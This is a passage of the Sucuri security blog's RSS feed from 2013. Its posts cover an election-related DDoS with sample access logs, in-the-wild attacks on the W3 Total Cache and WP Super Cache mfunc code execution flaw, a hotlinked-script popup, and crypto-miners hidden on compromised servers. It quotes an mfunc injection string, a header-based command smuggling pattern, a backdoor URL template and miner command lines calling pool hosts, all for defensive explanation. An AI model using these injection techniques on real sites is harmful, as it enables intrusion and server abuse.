<p>This DDOS is httpd-based and is targeting their web server. It started by targeting their 404 handler by trying to visit pages that do not exist. What was interesting is the choice of URL they decided to use &#8220;FloodFloodFLOOD&#8221;:</p>
<blockquote><p>
175.137.68.143 &#8211; - [01/May/2013:10:00:38 -0400] &#8220;GET /wp-content/uploads/2013/05/FloodFLOODFloodFLOOD.png HTTP/1.1&#8243; 404</p>
<p>w &#8211; - [01/May/2013:10:00:38 -0400] &#8220;GET /wp-content/uploads/2013/05/FloodFLOODFloodFLOODFloodFLOODFLOOD.png HTTP/1.1&#8243; 404 0 </p>
<p>183.171.176.221 &#8211; - [01/May/2013:10:00:38 -0400] &#8220;GET /wp-content/uploads/2013/05/FloodFLOODFloodFLOODFloodFLOOD.png HTTP/1.1&#8243; 404
</p></blockquote>
<p>That can be easily blocked and filtered, so they quickly switched to more complex types of attacks. Since the site is WordPress, they decided to target the search function to bypass any internal caches and make sure that each page is actually loaded:</p>
<blockquote><p>
175.136.214.155 &#8211; - [02/May/2013:11:57:30 -0400] &#8220;GET /?s=1367683016682 HTTP/1.1&#8243; 200 154 &#8220;http://www.erapasca.com/2013/05/pecah-berita-tanda-bn-nak-tumbang.html&#8221; &#8220;Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.56 Safari/537.36&#8243;<br />
175.136.214.155 &#8211; - [02/May/2013:11:57:30 -0400] &#8220;GET /?s=1367683016683 HTTP/1.1&#8243; 200 154 &#8220;http://www.erapasca.com/&#8221; &#8220;Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.56 Safari/537.36&#8243;<br />
123.136.106.225 &#8211; - [02/May/2013:11:57:30 -0400] &#8220;GET /?s=1367682722241 HTTP/1.1&#8243; 200 154 &#8220;http://www.erapasca.com/2013/05/pecah-berita-tanda-bn-nak-tumbang.html&#8221; &#8220;Mozilla/5.0 (Linux; Android 4.0.3; GT-P5100 Build/IML74K) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.169 Safari/537.22&#8243;<br />
175.140.99.225 &#8211; - [02/May/2013:11:57:30 -0400] &#8220;GET /?s=1367682708689 HTTP/1.1&#8243; 200 154 &#8220;http://siaranradioonline.blogspot.com/search/label/&#8221; &#8220;Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0; BOIE9;ENUS)&#8221;<br />
.. thousands more per second ..
</p></blockquote>
<p>Notice that those referers and user agents are likely fake and just being used to try to bypass any security filter.</p>
<h5>Size of the DDOS and their Botnet</h5>
<p>What is actually impressive about this attack is the number of IP addresses (bots) being used. Just in the last 24 hrs, <b>36,367</b> (yes, 36 thousand different IP addresses ) were used to attack this site. It means that the people behind it have good power. What is interesting is that all IP addresses also come from Malaysian IP ranges and it seems to come from compromised desktops.</p>
<p>Since it is an ongoing event, we won&#8217;t give more details and we are working with the proper authorities and the Malaysian CERT to stop them.</p>
<img src="http://feeds.feedburner.com/~r/SucuriSecurity/~4/955fYlJgy1c" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.sucuri.net/2013/05/malaysian-election-and-ddos.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://blog.sucuri.net/2013/05/malaysian-election-and-ddos.html</feedburner:origLink></item>
		<item>
		<title>W3 Total Cache and WP Super Cache Vulnerability Being Targeted in the Wild</title>
		<link>http://feedproxy.google.com/~r/SucuriSecurity/~3/r3Zo6r-nkFc/w3-total-cache-and-wp-super-cache-vulnerability-being-targeted-in-the-wild.html</link>
		<comments>http://blog.sucuri.net/2013/05/w3-total-cache-and-wp-super-cache-vulnerability-being-targeted-in-the-wild.html#comments</comments>
		<pubDate>Sat, 04 May 2013 04:03:27 +0000</pubDate>
		<dc:creator>Tony Perez</dc:creator>
				<category><![CDATA[Malware]]></category>
		<category><![CDATA[sucuri]]></category>
		<category><![CDATA[vulnerability]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[awareness]]></category>
		<category><![CDATA[w3tc]]></category>
		<category><![CDATA[wp super cache]]></category>

		<guid isPermaLink="false">http://blog.sucuri.net/?p=7261</guid>
		<description><![CDATA[As if on queue, almost 7 days since we released the post about the latest W3TC and WP Super Cache remote command execution vulnerability, we have started to see attacks spring up across our network. In our post you might remember this: &#60;!–mfunc echo PHP_VERSION; –&#62;&#60;!–/mfunc–&#62; In this example we explained how it was a<a class="more-link" href="http://blog.sucuri.net/2013/05/w3-total-cache-and-wp-super-cache-vulnerability-being-targeted-in-the-wild.html" rel="nofollow"><br /><strong>Read More</strong></a>]]></description>
				<content:encoded><![CDATA[<p>As if on queue, almost 7 days since we released the post about the latest <a href="http://blog.sucuri.net/2013/04/update-wp-super-cache-and-w3tc-immediately-remote-code-execution-vulnerability-disclosed.html">W3TC and WP Super Cache remote command execution vulnerability</a>, we have started to see attacks spring up across our network. </p>
<p>In our post you might remember this:</p>
<pre>
&lt;!–mfunc echo PHP_VERSION; –&gt;&lt;!–/mfunc–&gt;
</pre>
<p>In this example we explained how it was a very simple approach to displaying the version of PHP on your server. There were a lot of questions following that saying, well what&#8217;s so harmful in that. Etc&#8230; With little help from us the attackers go on to show us what they can do. </p>
<h4>Taking a Look at the Attacks</h4>
<p>In this section I&#8217;ll show you three of the various attacks we&#8217;re seeing. In each you can see how they abuse the mfunc vulnerability, one in a more traditional approach of injecting a backdoor and other in a more creative way that allows them to abuse HTTP headers. In either case they all seem to be getting passed via comments, and we give an example of that below. This is obviously for educational purposes only.<br />
<span id="more-7261"></span></p>
<h5>Example One &#8211; Targeting HTTP Headers</h5>
<p>So in this example we see them abusing the <strong>mfunc</strong> vulnerability to pass shell commands via the HTTP headers in the place of the URL itself.</p>
<p><a href="http://blog.sucuri.net/2013/05/w3-total-cache-and-wp-super-cache-vulnerability-being-targeted-in-the-wild.html/screen-shot-2013-05-03-at-8-56-49-pm" rel="attachment wp-att-7287"><img src="http://blog.sucuri.net/wp-content/uploads/2013/05/Screen-Shot-2013-05-03-at-8.56.49-PM.png" alt="Screen Shot 2013-05-03 at 8.56.49 PM" width="1173" height="55" class="aligncenter size-full wp-image-7287" /></a></p>
<p>In this instance they are attacking your site while leaving very little trace, for instance they can do things like:</p>
<pre>
HTTP_CMD: Base64 encode of the backdoor/code they want to run
</pre>
<p>And it works with GET. Here is a better explanation if you&#8217;re not following:</p>
<p>A normal header would look something like this:</p>
<pre>
Connected to site.com (IP) port 80 (#0)
GET / HTTP/1.1
User-Agent: curl/7.24.0 (x86_64-apple-darwin12.0) libcurl/7.24.0 OpenSSL/0.9.8r zlib/1.2.5
Host: blog.sucuri.net
Accept: */*
</pre>
<p>With this attack it&#8217;d look something like this:</p>
<pre>
Connected to site.com (IP) port 80 (#0)
GET / HTTP/1.1
User-Agent: curl/7.24.0 (x86_64-apple-darwin12.0) libcurl/7.24.0 OpenSSL/0.9.8r zlib/1.2.5
Host: blog.sucuri.net
HTTP_CMD: Base64 encode of the backdoor/code they want to run
Accept: */*
</pre>
<p>Most folks would never even log that, so forensically speaking it&#8217;d be hard to know they were attacking this way. </p>
<h5>Example Two &#8211; Passing a Backdoor</h5>
<p>So in this example they misuse the <strong>mfunc</strong> and use it to pass a backdoor into your server. Not nice at all. </p>
<p><a href="http://blog.sucuri.net/2013/05/w3-total-cache-and-wp-super-cache-vulnerability-being-targeted-in-the-wild.html/screen-shot-2013-05-03-at-7-54-05-pm" rel="attachment wp-att-7269"><img src="http://blog.sucuri.net/wp-content/uploads/2013/05/Screen-Shot-2013-05-03-at-7.54.05-PM.png" alt="Screen Shot 2013-05-03 at 7.54.05 PM" width="1350" height="327" class="aligncenter size-full wp-image-7269" /></a></p>
<p>In this case it looks a bit worse, but when you decode it, it&#8217;s a lot easier to understand, her it is decoded:</p>
<p><a href="http://blog.sucuri.net/2013/05/w3-total-cache-and-wp-super-cache-vulnerability-being-targeted-in-the-wild.html/screen-shot-2013-05-03-at-7-56-09-pm" rel="attachment wp-att-7270"><img src="http://blog.sucuri.net/wp-content/uploads/2013/05/Screen-Shot-2013-05-03-at-7.56.09-PM.png" alt="Screen Shot 2013-05-03 at 7.56.09 PM" width="1345" height="213" class="aligncenter size-full wp-image-7270" /></a></p>
<p>Do you see what they&#8217;re doing? How they&#8217;re passing basic PHP commands to your server? Look here:</p>
<pre>
fopen
fputs
eval
base64_decode
fclose
</pre>
<p>They&#8217;re using basic PHP functions against you. They use the fopen to open a new file called maeksv.php. They then inject the payload into that file using puts, they encode it, and proceed to close the file. If you look at the payload that was dropped into that file you find something like this:</p>
<p><a href="http://blog.sucuri.net/2013/05/w3-total-cache-and-wp-super-cache-vulnerability-being-targeted-in-the-wild.html/screen-shot-2013-05-03-at-7-58-36-pm" rel="attachment wp-att-7271"><img src="http://blog.sucuri.net/wp-content/uploads/2013/05/Screen-Shot-2013-05-03-at-7.58.36-PM.png" alt="Screen Shot 2013-05-03 at 7.58.36 PM" width="1341" height="99" class="aligncenter size-full wp-image-7271" /></a></p>
<p>Don&#8217;t worry, a little fine tuning and you see it&#8217;s real intention here:</p>
<p><a href="http://blog.sucuri.net/2013/05/w3-total-cache-and-wp-super-cache-vulnerability-being-targeted-in-the-wild.html/screen-shot-2013-05-03-at-8-03-32-pm" rel="attachment wp-att-7272"><img src="http://blog.sucuri.net/wp-content/uploads/2013/05/Screen-Shot-2013-05-03-at-8.03.32-PM.png" alt="Screen Shot 2013-05-03 at 8.03.32 PM" width="1036" height="69" class="aligncenter size-full wp-image-7272" /></a></p>
<p>Using this the attacker can now do something like this:</p>
<pre>
http://goodsitebeingexploited/wp-content/cache/dcfay.php?jebfvlg=<evil intentions>
</pre>
<h5>Example Three &#8211; Embedded with Comments</h5>
<p>We know that these are occurring via comments but it&#8217;s always fun to see the things they say, like this for instance:</p>
<p><a href="http://blog.sucuri.net/2013/05/w3-total-cache-and-wp-super-cache-vulnerability-being-targeted-in-the-wild.html/screen-shot-2013-05-03-at-8-31-42-pm" rel="attachment wp-att-7279"><img src="http://blog.sucuri.net/wp-content/uploads/2013/05/Screen-Shot-2013-05-03-at-8.31.42-PM.png" alt="Screen Shot 2013-05-03 at 8.31.42 PM" width="1349" height="546" class="aligncenter size-full wp-image-7279" /></a></p>
<p>Or even this:</p>
<p><a href="http://blog.sucuri.net/2013/05/w3-total-cache-and-wp-super-cache-vulnerability-being-targeted-in-the-wild.html/screen-shot-2013-05-03-at-8-33-57-pm" rel="attachment wp-att-7280"><img src="http://blog.sucuri.net/wp-content/uploads/2013/05/Screen-Shot-2013-05-03-at-8.33.57-PM.png" alt="Screen Shot 2013-05-03 at 8.33.57 PM" width="1346" height="476" class="aligncenter size-full wp-image-7280" /></a></p>
<p>So in these scenarios they are leaving you what appear to be legitimate, yet silly, comments. If you&#8217;re none the wiser that&#8217;s all you&#8217;d see, approve and be on your way. </p>
<h3>Where are they Coming From</h3>
<p>Well, here are some of the IPs we&#8217;re picking up via our network:</p>
<pre>
188.142.107.174
122.72.12.90
91.224.160.104
91.224.160.104
119.36.87.32
92.126.217.47
74.91.17.35
58.23.3.190
220.255.1.77
220.255.1.44
220.255.1.31
95.154.243.11
91.224.160.104
201.59.55.142
201.249.21.35
119.36.87.32
125.67.234.251
177.12.227.13
77.175.95.163
190.205.16.152
109.123.111.99
211.138.151.117
183.63.27.145
84.39.28.158
91.224.160.104
94.199.60.19
54.248.89.183
185.12.46.81
87.236.208.232
36.48.69.182
83.236.193.82
177.10.24.34
118.186.86.38
114.80.136.171
77.235.192.178
58.240.98.179
85.15.227.78
78.46.64.21
119.254.84.87
78.46.64.21
91.224.160.104
78.46.64.21
78.46.64.21
91.224.160.104
124.227.191.75
54.234.65.111
54.246.89.20
</pre>
<p>Some quick look ups show us IPs coming from all over &#8211; Netherlands, Brazil, China, Russia, Singapore.. </p>
<h3>What To Do?</h3>
<p>The most obvious thing is to update immediately, both authors have made changes to their core to address these issues. That in it of itself will help you. Other options include the following:</p>
<ul>
<li>Leveraging a <a href="http://cloudproxy.sucuri.net">Web Application Firewall (WAF)</a></li>
<li>Adding Captcha&#8217;s to comments to deter spam bots</li>
<li>Ensure all comments are going through some kind of moderation</li>
<li>Don&#8217;t land the comments on your server, leverage 3rd party plugins &#8211; e.g., Disqus</li>
</ul>
<p>In the guidane above do realize that the captcha won&#8217;t necessarily protect you if you accept it, but it should slow bot attacks. </p>
<img src="http://feeds.feedburner.com/~r/SucuriSecurity/~4/r3Zo6r-nkFc" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.sucuri.net/2013/05/w3-total-cache-and-wp-super-cache-vulnerability-being-targeted-in-the-wild.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://blog.sucuri.net/2013/05/w3-total-cache-and-wp-super-cache-vulnerability-being-targeted-in-the-wild.html</feedburner:origLink></item>
		<item>
		<title>Who Really Owns Your Website? “Please Stop Hotlinking My Easing Script — Use a Real CDN Instead.”</title>
		<link>http://feedproxy.google.com/~r/SucuriSecurity/~3/9wirFA9wdWQ/who-really-owns-your-website-please-stop-hotlinking-my-easing-script-use-a-real-cdn-instead.html</link>
		<comments>http://blog.sucuri.net/2013/05/who-really-owns-your-website-please-stop-hotlinking-my-easing-script-use-a-real-cdn-instead.html#comments</comments>
		<pubDate>Fri, 03 May 2013 18:35:50 +0000</pubDate>
		<dc:creator>Daniel Cid</dc:creator>
				<category><![CDATA[education]]></category>
		<category><![CDATA[hardening]]></category>
		<category><![CDATA[research]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://blog.sucuri.net/?p=7215</guid>
		<description><![CDATA[For the last few days, we have had some customers come to us worried thinking that their websites were compromised with some type of pop-up malware. Every time they visited their own site they would get a strange pop up: &#8220;Please stop hotlinking my easing script — use a real CDN instead. Many thanks&#8221; What<a class="more-link" href="http://blog.sucuri.net/2013/05/who-really-owns-your-website-please-stop-hotlinking-my-easing-script-use-a-real-cdn-instead.html" rel="nofollow"><br /><strong>Read More</strong></a>]]></description>
				<content:encoded><![CDATA[<p>For the last few days, we have had some customers come to us worried thinking that their websites were compromised with some type of pop-up malware. Every time they visited their own site they would get a strange pop up:</p>
<blockquote><p>
&#8220;Please stop hotlinking my easing script — use a real CDN instead. Many thanks&#8221;
</p></blockquote>
<h5>What is going on?</h5>
<p>We did some Google searches and found hundreds of threads with people worried about the same thing. Out of no where, that pop-up was showing up on their web sites. Were they all hacked?</p>
<p><img src="http://blog.sucuri.net/wp-content/uploads/2013/05/Screen-Shot-2013-05-02-at-4.26.02-PM-650x339.png" alt="Screen Shot 2013-05-02 at 4.26.02 PM" width="650" height="339" class="aligncenter size-large wp-image-7220" /><br />
<span id="more-7215"></span><br />
Through further research we found that all of the sites in the results had a JavaScript include from: http://gsgd.co.uk/sandbox/jquery/easing/jquery.easing.1.3.js.  This file is part of the popular <strong><em>jQuery Easing Plugin</em></strong>. It seems the author of that plugin got upset that many people were linking directly from his site, and modified the content of that file to give that warning instead. He <a href="https://github.com/gdsmith/jquery.easing">posted</a> an explanation on his site about it:</p>
<blockquote><p>
Popup? If you&#8217;re coming here because of a popup on your site I&#8217;m sorry, but the increased hotlinking has caused me issues with my hosting company so I&#8217;m taking steps to try and sort it out. Please upload the script to your own server and update any urls pointing to gsgd.co.uk to use that version of the file or you could try using the above url for CDN (though this currently only has the 1.3 easing script, look at http://cdnjs.com/ for more info and maybe try and add any missing files/versions still in use).</p>
<p>Please also note, I have no problem with anyone&#8217;s use of the plugin without my knowledge or permission, it&#8217;s just the hotlinking that&#8217;s causing me a headache.
</p></blockquote>
<h5>Who Really owns your site?</h5>
<p>Most users had no idea that they were even using that plugin. Most developers that include it probably dodn&#8217;t even think about the hotlinking issue. It seems that plugin documentation used to give examples pointing to gsgd.co.uk, so the developers just copied and pasted directly into their sites.</p>
<p>What was more worrying to our client was the power that someone else had over their site. </p>
<h5>You are not really the only owner of your site</h5>
<p>Every time you add a remote JavaScript (or widget or iFrame) to your site, you are giving the server that houses that code full control of what is displayed to your users. If their servers get compromised, your site will be compromised as well. </p>
<p>Can you imagine if the author of the Easing Plugin was malicious? Instead of just that pop-up, they could have added a URL redirect to send all your users to any site they of their choosing (SPAM, porn, you name it). What if their server was hacked? The attackers could have added malware and it would have loaded to all your users.</p>
<p>This is very common. For example, look at the techcrunch.com website (big news outlet). They load JavaScript from all these domains:</p>
<pre>

http://o.aolcdn.com/


http://pshared.5min.com/


http://js.adsonar.com/


http://scorecardresearch.com/


http://tctechcrunch2011.wordpress.com/


http://platform.twitter.com/


http://connect.facebook.net/


https://apis.google.com/


http://cdn.optimizely.com/


http://r-login.wordpress.com/


http://cdn.insights.gravity.com/

</pre>
<p>So their security is not only dependent on their own site, but if any of those 11 sites they include in their site gets hacked, it will affect their users as well. </p>
<p>They are not alone. Our own blog, includes code from:</p>
<pre>

http://disqus.com


http://s.gravatar.com


http://stats.wordpress.com


http://connect.facebook.net/

</pre>
<p>So our blog security is also dependent on those 4 sites (Facebook, Disqus, Gravatar and WordPress). Including code from Google CDN,Twitter, Facebook or any major publisher is likely low risk being they have a pretty good level of security. That said, there is still a level of risk you are accepting for you and your visitors. Another thing to consider is the risk increases significantly when you include code from smaller and less known locations. </p>
<h5>The Solution?</h5>
<p>If you are using this plugin, just remove the include from gsgd.co.uk, download the plugin and store it locally. That&#8217;s an easy fix.</p>
<p>I also recommend that you look at the source of your site to see what else you have included. </p>
<p>Do a view-source: on your browser and search for &lt;script or &lt;iframe to see what is being loaded. You might be surprised. Our <a href="http://sitecheck.sucuri.net">SiteCheck Scanner</a> also prints a list of JavaScript and iframe links we found, so you can use that as well.</p>
<img src="http://feeds.feedburner.com/~r/SucuriSecurity/~4/9wirFA9wdWQ" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.sucuri.net/2013/05/who-really-owns-your-website-please-stop-hotlinking-my-easing-script-use-a-real-cdn-instead.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://blog.sucuri.net/2013/05/who-really-owns-your-website-please-stop-hotlinking-my-easing-script-use-a-real-cdn-instead.html</feedburner:origLink></item>
		<item>
		<title>Game of Coins: The Uprise of Bitcoin Mining</title>
		<link>http://feedproxy.google.com/~r/SucuriSecurity/~3/mfmk7PazkrI/game-of-coins-the-uprise-of-bitcoin-mining.html</link>
		<comments>http://blog.sucuri.net/2013/05/game-of-coins-the-uprise-of-bitcoin-mining.html#comments</comments>
		<pubDate>Thu, 02 May 2013 20:14:20 +0000</pubDate>
		<dc:creator>Dre Armeda</dc:creator>
				<category><![CDATA[backdoors]]></category>
		<category><![CDATA[bitcoin]]></category>
		<category><![CDATA[Malware]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[Server Compromise]]></category>
		<category><![CDATA[sucuri]]></category>
		<category><![CDATA[vulnerability]]></category>
		<category><![CDATA[compromise]]></category>
		<category><![CDATA[server]]></category>

		<guid isPermaLink="false">http://blog.sucuri.net/?p=7048</guid>
		<description><![CDATA[Research by Daniel Cid. Authored by Dre Armeda. One thing you can&#8217;t take away from some of the attackers we deal with everyday is their creativity. From time to time we write about new trends we&#8217;re seeing, and this post is no different. We&#8217;re seeing a new tactic recently, and it may be affecting your<a class="more-link" href="http://blog.sucuri.net/2013/05/game-of-coins-the-uprise-of-bitcoin-mining.html" rel="nofollow"><br /><strong>Read More</strong></a>]]></description>
				<content:encoded><![CDATA[<p><small>Research by <a href="https://twitter.com/danielcid">Daniel Cid</a>. Authored by <a href="https://twitter.com/dremeda">Dre Armeda</a>. </small></p>
<hr />
<p>One thing you can&#8217;t take away from some of the attackers we deal with everyday is their creativity. From time to time we write about new trends we&#8217;re seeing, and this post is no different. We&#8217;re seeing a new tactic recently, and it may be affecting your pockets, even if you&#8217;re not into the latest trend of using digital currency.  </p>
<p><img src="http://blog.sucuri.net/wp-content/uploads/2013/04/game-of-coins.png" alt="Game of Coins" width="780" height="208" class="aligncenter size-full wp-image-7064" /></p>
<h4>Digital currency you say?</h4>
<p>I sure did! <a href="http://bitcoin.org/en/" title="Bitcoin">Bitcoin</a> to be exact.<br />
<span id="more-7048"></span><br />
Bitcoin is not widely adopted yet, and the currency currently trades outside the control of centralized banks. You may not know what a Bitcoin is, and don&#8217;t worry, a lot of people still don&#8217;t. </p>
<p>This doesn&#8217;t mean this isn&#8217;t important, or doesn&#8217;t apply to you, so make sure to read on and learn.<br />
<!--more--><br />
From the Bitcoin website:</p>
<blockquote><p>
Bitcoin is a digital currency, a protocol, and a software that enables</p>
<ul>
<li>Instant peer-to-peer transactions</li>
<li>Worldwide payments</li>
<li>Low or zero processing fees</li>
<li>And much more!</li>
</ul>
</blockquote>
<p>Still not following? Here&#8217;s a better definition that may help:</p>
<blockquote><p>
Bitcoin is an experimental, decentralized digital currency that enables instant payments to anyone, anywhere in the world. Bitcoin uses peer-to-peer technology to operate with no central authority: managing transactions and issuing money is carried out collectively by the network.
</p></blockquote>
<p>Here is a quick video explaining the peer-to-peer, open source currency:</p>
<p><iframe width="780" height="315" src="http://www.youtube.com/embed/Um63OQz3bjo" frameborder="0" allowfullscreen></iframe></p>
<p>This sounds awesome to me. An anti-authoritarian currency that&#8217;s already in active use, and being adopted by some pretty big names! </p>
<p>If you&#8217;re a WordPress.com user, you can now pay for upgrades using Bitcoin. Ever purchase anything on Etsy.com? That&#8217;s right, there are currently near 100 vendors accepting the digital payment option. NameCheap, Reddit, and 4Chan round up a quick list of names featured in a <a href="http://mashable.com/2013/03/29/bitcoin-vendors/" title="Mashable">Mashable article</a> about Bitcoin recently.</p>
<p>Staying power is still undetermined, but for now the currency continues to grow, and that&#8217;s important to know.</p>
<h4>Mining for Gold</h4>
<p>Now that you have a better understanding of this growing crypto-currency, we&#8217;re going to chat a bit about generating the currency, and then we&#8217;ll move on to our little discovery. </p>
<p>Although we&#8217;d all love to have a real money tree, you&#8217;re in the wrong forest if you think you found it here. However, the currency still needs to be generated, and it&#8217;s a fairly complex process named <a href="https://en.bitcoin.it/wiki/Mining" title="Bitcoin Mining">Mining</a>. </p>
<p>Paper money is usually created and distributed by goverments, in the case of Bitcoin, there is no government. With Bitcoin you have Miners. Bitcoin Miners are entities that use special software to solve difficult math problems, and in exchange are issued a certain amount of Bitcoins. </p>
<p>Here&#8217;s a great video explaining the process of Mining, it&#8217;s importance, and how heavy the process can be.</p>
<p><iframe width="780" height="315" src="http://www.youtube.com/embed/GmOzih6I1zs" frameborder="0" allowfullscreen></iframe></p>
<p>In the early days Miners were quickly solving the math problems needed to generate bitcoins locally on their personal computers. This became more difficult because the intensity of processing power needed to solve the necessary math problems continued to rise as the network of Miners grew. The math problems continued to become more resource intensive which lead to the production of commercial processors that were reprogrammed for Mining specifically. </p>
<p>The processes and technologies used to generate Bitcoins has seen various iterations. Even today as more Miners join the network, the math problems continue to grow more complex. </p>
<p>This is where Pools come into play. Pools are groups or units of Miners. Pools are able to solve problems faster, and in turn are rewarded for their contributions. Although this distributes the heavy resource lead, it certainly doesn&#8217;t offload the resource requirement completely. There is still a demand for processing power and resources to perform the computations needed to solve the problems. </p>
<p>Where do we go to get these resources if we want to compute faster? In there lies our little discovery.</p>
<h4>What the Falcon?<br />
<h4>
<p>We see a lot of different attacks. We see a lot of vulnerabilities leading to various categories of compromised websites. Our research in this case leads us towards a different type of payload, a different type of exploit. To be fair, this is a new world of digital payment, there will likely be future efforts by attackers.</p>
<p>Instead of injecting malware or SPAM, or even performing the usual malicious acts we normally blog about, the attackers are hiding Bitcoin Mining software below the application layer in the stack. Ultimately what they are doing is attacking server to leverage its resources for their Mining purposes.</p>
<h4>How&#8217;s it Happening?</h4>
<p>The first case we discovered was a few weeks ago. A website we were cleaning was suspended for using far too many resources. During remediation we took a look at the process list and what do you know, hidden inside <code>/var/www/site.com/wp-content/plugins/akismet/mysqld</code> we found a Miner running and masking itself as the mysqld binary. </p>
<p>We took a quick look at the processor resources by running the <strong><em>top</em></strong> command in terminal:</p>
<pre>
30104 userx 18 0 311m 9176 2020 S 97.2 0.3 4916:23 ./mysqld --url http://pool.give-me-ltc.com:8080
</pre>
<p>The top results show that this mysqld binary has been running for many hours and consuming almost 100% of the CPU resources. Keep in mind that this is a large web server hosting thousands of websites. After a few days pegged at 100% CPU usage the hosting company noticed and shut the client down.</p>
<p>That was the first case, but not the last. What first appeared to be an anomaly is not repetitive. Here is a sample from another website that was banned for using too many resources:</p>
<p>Again a quick top command and the proof is in the pudding:</p>
<pre>
22274 usery 20 0 249m 4612 824 S 29.1 0.0 124:39.70 ../mine.16 --url=http://vibehacks.net/ --userpass=HIDDEN 
</pre>
<p>Although the resource usage wasn&#8217;t as intensive in this case, they were still very high. This time top showed that a binary named /mine.16 had been running for days using almost 30% of the CPU for mining purposes. </p>
<p>The attackers seem to leverage services like <strong><em>give-me-ltc.com</em></strong> where everyone can put resources to mine bitcoins/litecoins. When the resources are successful in solving the mathematical problems, everyone receives their share of the pie. Now, we&#8217;re not implying that give-me-ltc.com is malicious by any means, and we have no data to say otherwise. The attackers just seem to be leveraging compromised servers to join the give-me-ltc.com pool of miners.</p>
<h4>Using Minerd</h4>
<p>During our analysis, we found that the attackers were using a modified version of minerd for mine for Litecoins and Bitcoins. In addition to the mining, all servers we worked on also had a PHP based backdoor that gave the attackers full control of the site.</p>
<p>As of the time of this post, it was already being flagged by Avast as: <a href="https://www.virustotal.com/en/file/3ecab64fef787654221834be41db3e161c0b00496a2da64a1c5baaaf970f1bd4/analysis/1366914746/">Win32:Crypt-OSW</a>.</p>
<h4>What&#8217;s the Impact</h4>
<p>Directly to bitcoin miners and users, none really. For website owners this could be a signicant issue. There is an high risk of outages and for monetary loss, and if you&#8217;re a website owner or manager, you should take this threat seriously. </p>
<p>What can you do? Nothing we haven&#8217;t evangelized 100 times! Make sure you&#8217;re minimizing risk with the following 5 principles:</p>
<ul>
<li>Update ALL software on the server</li>
<li>Remove all files and software not in use</li>
<li>Limit access to accounts and use proper roles</li>
<li>Strong and unique passwords are key</li>
<li>Institute a backup schedule off site</li>
</ul>
<p>We don&#8217;t really know how widespread this new trend is yet, but when we started to see one server after another with the same issues, we knew something was going on. </p>
<p>Our team will continue to analyze this binary and growth and we will share on follow up posts.</p>
<img src="http://feeds.feedburner.com/~r/SucuriSecurity/~4/mfmk7PazkrI" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.sucuri.net/2013/05/game-of-coins-the-uprise-of-bitcoin-mining.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		<feedburner:origLink>http://blog.sucuri.net/2013/05/game-of-coins-the-uprise-of-bitcoin-mining.html</feedburner:origLink></item>
		<item>
		<title>Apache Web Server Attacks Continue to Evolve</title>
		<link>http://feedproxy.google.com/~r/SucuriSecurity/~3/ADjZUWvyRfk/apache-web-server-attacks-continue-to-evolve.html</link>
		<comments>http://blog.sucuri.net/2013/04/apache-web-server-attacks-continue-to-evolve.html#comments</comments>
		<pubDate>Mon, 29 Apr 2013 17:21:20 +0000</pubDate>
		<dc:creator>Tony Perez</dc:creator>
				<category><![CDATA[apache]]></category>
		<category><![CDATA[hacked]]></category>
		<category><![CDATA[Malware]]></category>
		<category><![CDATA[malware cleanup]]></category>
		<category><![CDATA[sucuri]]></category>

		<guid isPermaLink="false">http://blog.sucuri.net/?p=7163</guid>
		<description><![CDATA[For the past few months we have seen a gradual increase in server-level compromises. In fact, every week it seems we&#8217;re handling half a dozen or so and it continues to increase. It&#8217;s one of the reasons that I have started including this as a trend in my most recent Website Security presentations. Just last<a class="more-link" href="http://blog.sucuri.net/2013/04/apache-web-server-attacks-continue-to-evolve.html" rel="nofollow"><br /><strong>Read More</strong></a>]]></description>
				<content:encoded><![CDATA[<p>For the past few months we have seen a gradual increase in server-level compromises. In fact, every week it seems we&#8217;re handling half a dozen or so and it continues to increase. It&#8217;s one of the reasons that I have started including this as a trend in my most recent Website Security presentations. </p>
<p>Just last week we talked about some very sneaky hacks that <a href="http://blog.sucuri.net/2013/04/apache-binary-backdoors-on-cpanel-based-servers.html">targeted the Apache binaries</a> directly in the <a href="http://blog.sucuri.net/2013/01/server-side-iframe-injections-via-apache-modules-and-sshd-backdoor.html">place of the modules</a>, contrary to what we had been seeing. Fortunately, the more sophisticated attack are still far and few in between leaving us to deal with rogue modules more often than not. </p>
<p><a href="http://blog.sucuri.net/2013/04/apache-web-server-attacks-continue-to-evolve.html/screen-shot-2013-04-27-at-3-39-09-pm" rel="attachment wp-att-7164"><img src="http://blog.sucuri.net/wp-content/uploads/2013/04/Screen-Shot-2013-04-27-at-3.39.09-PM.png" alt="Sucuri - Website Security Trends - Server Compromises" width="855" height="447" class="aligncenter size-full wp-image-7164" /></a></p>
<p><em>The purpose of this image is to provide a logical representation of the evolution of website attacks. While websites are still the number one distribution mechanism, attackers are making a big effort to improve their attacks by going after server level applications in the place of the website itself, and it&#8217;s application (i.e., Custom ASP/PHP, WordPress, Joomla, etc..). The beauty of this is that the attacks becomes platform agnostic, in terms of the platform the end-user is utilizing.</em><br />
<span id="more-7163"></span><br />
We&#8217;ve provided guidance in the past on how to identify these things both on <a href="http://blog.sucuri.net/2013/01/web-server-attacks-apache-module-log-management-and-relm.html">CentOS / RedHat</a> and <a href="http://blog.sucuri.net/2013/02/web-server-compromise-debian-distro-identify-and-remove-corrupt-apache-modules.html">Debian</a> distro&#8217;s. That guidance is still the same, but I do want to add some more information around what the attackers are doing to make remediation more of a challenge lately. </p>
<h3>Two Specific Trends</h3>
